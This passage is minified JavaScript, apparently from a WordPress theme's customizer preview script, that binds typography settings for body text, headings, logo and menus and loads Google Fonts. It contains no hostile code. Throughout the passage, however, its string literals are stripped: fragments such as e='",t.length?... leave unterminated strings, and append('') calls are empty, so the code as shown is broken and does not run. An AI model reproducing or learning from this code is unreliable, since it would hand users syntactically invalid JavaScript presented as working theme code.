t=i(".customizer-typography-body-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-heading_h1-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-heading_h1-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("heading_h1_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h1_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h1-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-heading_h2-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-heading_h2-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("heading_h2_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h2_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h2-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-heading_h3-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-heading_h3-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("heading_h3_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h3_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h3-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-heading_h4-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-heading_h4-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("heading_h4_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("heading_h4_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-heading_h4-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-headings-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-headings-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("headings_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("headings_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-headings-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-logo-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-logo-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("logo_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("logo_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-logo-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-top_menu-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-top_menu-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("top_menu_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("top_menu_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-top_menu-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-menu-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-menu-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("menu_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-menu_dropdown-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-menu_dropdown-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("menu_dropdown_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("menu_dropdown_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-menu_dropdown-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-mobile_menu_dropdown-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-mobile_menu_dropdown-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("mobile_menu_dropdown_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("mobile_menu_dropdown_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-mobile_menu_dropdown-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-page_title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var 